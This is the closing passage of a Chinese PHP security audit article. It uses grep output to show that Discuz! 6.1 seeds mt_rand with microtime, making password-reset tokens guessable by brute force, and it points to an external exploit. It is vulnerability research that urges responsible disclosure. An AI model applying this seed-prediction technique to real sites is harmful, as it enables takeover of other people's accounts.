- 分析 php 源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审计策略”里，都没有 php 源代码的分析，如果你要进一步找到新的字典，可以在 php 源代码的基础上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）（我们以后会陆续公布一些我们对 php 源代码的分析）
- 有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
- 你有什么要补充的吗？ ：）

# DEMO

| DEMO -- Discuz! Reset User Password 0day Vulnerability 分析（Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt） |
| --- |
| PHP 版本要求:php4 php5<5.2.6 |

系统要求: 无
审计策略:查找 mt_srand/mt_rand

第一步 安装 Discuz! 6.1 后利用 grep 查找 mt_srand 得到:

```
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694-   $GLOBALS['rewritecompatible'] && $name =
rawurlencode($name);
./include/global.func.php-695-   return '<a
href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699:   PHP_VERSION < '4.2.0' &&
mt_srand((double)microtime() * 1000000);
./include/global.func.php-700-   if($numeric) {
./include/global.func.php-701-               $hash = sprintf('%0'.$length.'d',
mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702-   } else {
./include/global.func.php-703-               $hash = '';
./include/global.func.php-704-               $chars =
'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes'])
|| !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32-          @include
DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38-          global $attachrefcheck, $thumbstatus,
$extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39-          $attach =
$postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40-          if($attach['attachimg']) {
```

有两个文件用到了 mt_srand()，第 1 是在./include/global.func.php 的随机函数 random()里:

```
  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
```

判断了版本，如果是 PHP_VERSION > '4.2.0'使用 php 本身默认的播种。从上一章里的分析我们可以看得出来，使用 php 本身默认的播种的分程序两种情况：

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似 mt_srand((double)microtime() * 1000000)的播种的话，又很有可能被暴力。在 dz 这里不需要 Cross Application，因为他本身有文件就定义了，就是上面的第 2 个文件：

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里我们肯定 dz 是存在这个漏洞的，文章给出来的 exp 也就是基于这个的。（具体 exp 利用的流程有兴趣的可以自己分析下]）

2) 有的人认为如果没有 mt_srand((double)microtime() * 1000000);这里的定义，那么 dz 就不存在漏洞，这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义，再次不利用'Cross Application Attacks'，5.2.6>php>4.2.0 php 本身默认播种的算法也不是很强悍（分析详见上），也是有可以暴力出来，只是速度要慢一点。

# 后话

本文是 80vul 的三大马甲：80vul-A，80vul-B，80vul-C 集体智慧的结晶，尤其是 80vul-B 贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者，没有他们的成果也就没有本文。本文没有写“参考”，因为本文是一个总结性的文挡，有太多的连接需要提供限于篇幅就没有一一列举，有心的读者可以自行 google。另外原本没有打算公布此文，因为里面包含了太多应用程序的 0day，而且有太多的不尊重别人成果的人，老是利用从别人那学到的技术来炫耀，甚至牟取利益。在这里我们希望你可以在本文里学到些东西，更加希望如果通过本文你找到了某些应用程序的 0day，请低调处理，或者直接提交给官方修补，谢谢大家！！

# 附录


[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114